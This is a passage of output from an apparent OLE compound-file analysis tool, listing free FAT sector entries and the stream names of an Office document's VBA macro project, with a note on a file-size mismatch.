0xFFFFFFFF (FREE) 283 | 00000086: 0xFFFFFFFF (FREE) 284 | 00000087: 0xFFFFFFFF (FREE) 285 | 00000088: 0xFFFFFFFF (FREE) 286 | 00000089: 0xFFFFFFFF (FREE) 287 | 0000008A: 0xFFFFFFFF (FREE) 288 | 0000008B: 0xFFFFFFFF (FREE) 289 | 0000008C: 0xFFFFFFFF (FREE) 290 | 0000008D: 0xFFFFFFFF (FREE) 291 | 0000008E: 0xFFFFFFFF (FREE) 292 | 0000008F: 0xFFFFFFFF (FREE) 293 | 00000090: 0xFFFFFFFF (FREE) 294 | 00000091: 0xFFFFFFFF (FREE) 295 | 00000092: 0xFFFFFFFF (FREE) 296 | 00000093: 0xFFFFFFFF (FREE) 297 | 00000094: 0xFFFFFFFF (FREE) 298 | 00000095: 0xFFFFFFFF (FREE) 299 | 00000096: 0xFFFFFFFF (FREE) 300 | 00000097: 0xFFFFFFFF (FREE) 301 | 00000098: 0xFFFFFFFF (FREE) 302 | 00000099: 0xFFFFFFFF (FREE) 303 | 0000009A: 0xFFFFFFFF (FREE) 304 | 0000009B: 0xFFFFFFFF (FREE) 305 | 0000009C: 0xFFFFFFFF (FREE) 306 | 0000009D: 0xFFFFFFFF (FREE) 307 | 0000009E: 0xFFFFFFFF (FREE) 308 | 0000009F: 0xFFFFFFFF (FREE) 309 | 000000A0: 0xFFFFFFFF (FREE) 310 | 000000A1: 0xFFFFFFFF (FREE) 311 | 000000A2: 0xFFFFFFFF (FREE) 312 | 000000A3: 0xFFFFFFFF (FREE) 313 | 000000A4: 0xFFFFFFFF (FREE) 314 | 000000A5: 0xFFFFFFFF (FREE) 315 | 000000A6: 0xFFFFFFFF (FREE) 316 | 000000A7: 0xFFFFFFFF (FREE) 317 | 000000A8: 0xFFFFFFFF (FREE) 318 | 000000A9: 0xFFFFFFFF (FREE) 319 | 000000AA: 0xFFFFFFFF (FREE) 320 | 000000AB: 0xFFFFFFFF (FREE) 321 | 000000AC: 0xFFFFFFFF (FREE) 322 | 000000AD: 0xFFFFFFFF (FREE) 323 | 000000AE: 0xFFFFFFFF (FREE) 324 | 000000AF: 0xFFFFFFFF (FREE) 325 | 000000B0: 0xFFFFFFFF (FREE) 326 | 000000B1: 0xFFFFFFFF (FREE) 327 | 000000B2: 0xFFFFFFFF (FREE) 328 | 000000B3: 0xFFFFFFFF (FREE) 329 | 000000B4: 0xFFFFFFFF (FREE) 330 | 000000B5: 0xFFFFFFFF (FREE) 331 | 000000B6: 0xFFFFFFFF (FREE) 332 | 000000B7: 0xFFFFFFFF (FREE) 333 | 000000B8: 0xFFFFFFFF (FREE) 334 | 000000B9: 0xFFFFFFFF (FREE) 335 | 000000BA: 0xFFFFFFFF (FREE) 336 | 000000BB: 0xFFFFFFFF (FREE) 337 | 000000BC: 0xFFFFFFFF (FREE) 338 | 000000BD: 0xFFFFFFFF (FREE) 339 | 000000BE: 0xFFFFFFFF (FREE) 340 | 000000BF: 0xFFFFFFFF (FREE) 341 | 000000C0: 0xFFFFFFFF (FREE) 342 | 000000C1: 0xFFFFFFFF (FREE) 343 | 000000C2: 0xFFFFFFFF (FREE) 344 | 000000C3: 0xFFFFFFFF (FREE) 345 | 000000C4: 0xFFFFFFFF (FREE) 346 | 000000C5: 0xFFFFFFFF (FREE) 347 | 000000C6: 0xFFFFFFFF (FREE) 348 | 000000C7: 0xFFFFFFFF (FREE) 349 | 000000C8: 0xFFFFFFFF (FREE) 350 | 000000C9: 0xFFFFFFFF (FREE) 351 | 000000CA: 0xFFFFFFFF (FREE) 352 | 000000CB: 0xFFFFFFFF (FREE) 353 | 000000CC: 0xFFFFFFFF (FREE) 354 | 000000CD: 0xFFFFFFFF (FREE) 355 | 000000CE: 0xFFFFFFFF (FREE) 356 | 000000CF: 0xFFFFFFFF (FREE) 357 | 000000D0: 0xFFFFFFFF (FREE) 358 | 000000D1: 0xFFFFFFFF (FREE) 359 | 000000D2: 0xFFFFFFFF (FREE) 360 | 000000D3: 0xFFFFFFFF (FREE) 361 | 000000D4: 0xFFFFFFFF (FREE) 362 | 000000D5: 0xFFFFFFFF (FREE) 363 | 000000D6: 0xFFFFFFFF (FREE) 364 | 000000D7: 0xFFFFFFFF (FREE) 365 | 000000D8: 0xFFFFFFFF (FREE) 366 | 000000D9: 0xFFFFFFFF (FREE) 367 | 000000DA: 0xFFFFFFFF (FREE) 368 | 000000DB: 0xFFFFFFFF (FREE) 369 | 000000DC: 0xFFFFFFFF (FREE) 370 | 000000DD: 0xFFFFFFFF (FREE) 371 | 000000DE: 0xFFFFFFFF (FREE) 372 | 000000DF: 0xFFFFFFFF (FREE) 373 | 000000E0: 0xFFFFFFFF (FREE) 374 | 000000E1: 0xFFFFFFFF (FREE) 375 | 000000E2: 0xFFFFFFFF (FREE) 376 | 000000E3: 0xFFFFFFFF (FREE) 377 | 000000E4: 0xFFFFFFFF (FREE) 378 | 000000E5: 0xFFFFFFFF (FREE) 379 | 000000E6: 0xFFFFFFFF (FREE) 380 | 000000E7: 0xFFFFFFFF (FREE) 381 | 000000E8: 0xFFFFFFFF (FREE) 382 | 000000E9: 0xFFFFFFFF (FREE) 383 | 000000EA: 0xFFFFFFFF (FREE) 384 | 000000EB: 0xFFFFFFFF (FREE) 385 | 000000EC: 0xFFFFFFFF (FREE) 386 | 000000ED: 0xFFFFFFFF (FREE) 387 | 000000EE: 0xFFFFFFFF (FREE) 388 | 000000EF: 0xFFFFFFFF (FREE) 389 | 000000F0: 0xFFFFFFFF (FREE) 390 | 000000F1: 0xFFFFFFFF (FREE) 391 | 000000F2: 0xFFFFFFFF (FREE) 392 | 000000F3: 0xFFFFFFFF (FREE) 393 | 000000F4: 0xFFFFFFFF (FREE) 394 | 000000F5: 0xFFFFFFFF (FREE) 395 | 000000F6: 0xFFFFFFFF (FREE) 396 | 000000F7: 0xFFFFFFFF (FREE) 397 | 000000F8: 0xFFFFFFFF (FREE) 398 | 000000F9: 0xFFFFFFFF (FREE) 399 | 000000FA: 0xFFFFFFFF (FREE) 400 | 000000FB: 0xFFFFFFFF (FREE) 401 | 000000FC: 0xFFFFFFFF (FREE) 402 | 000000FD: 0xFFFFFFFF (FREE) 403 | 000000FE: 0xFFFFFFFF (FREE) 404 | 000000FF: 0xFFFFFFFF (FREE) 405 | 2: ThisDocument 406 | 3: __SRP_2 407 | 4: __SRP_3 408 | 5: Mo 409 | 6: ul 410 | 7: d 411 | 8: e 412 | 9: _VBA_PROJECT 413 | 10: dir 414 | 11: __SRP_0 415 | 12: __SRP_1 416 | 13: PROJECTwm 417 | 14: PROJECT 418 | expected file size 41472 actual 32921 difference 8551 (20.62%) --------------------------------------------------------------------------------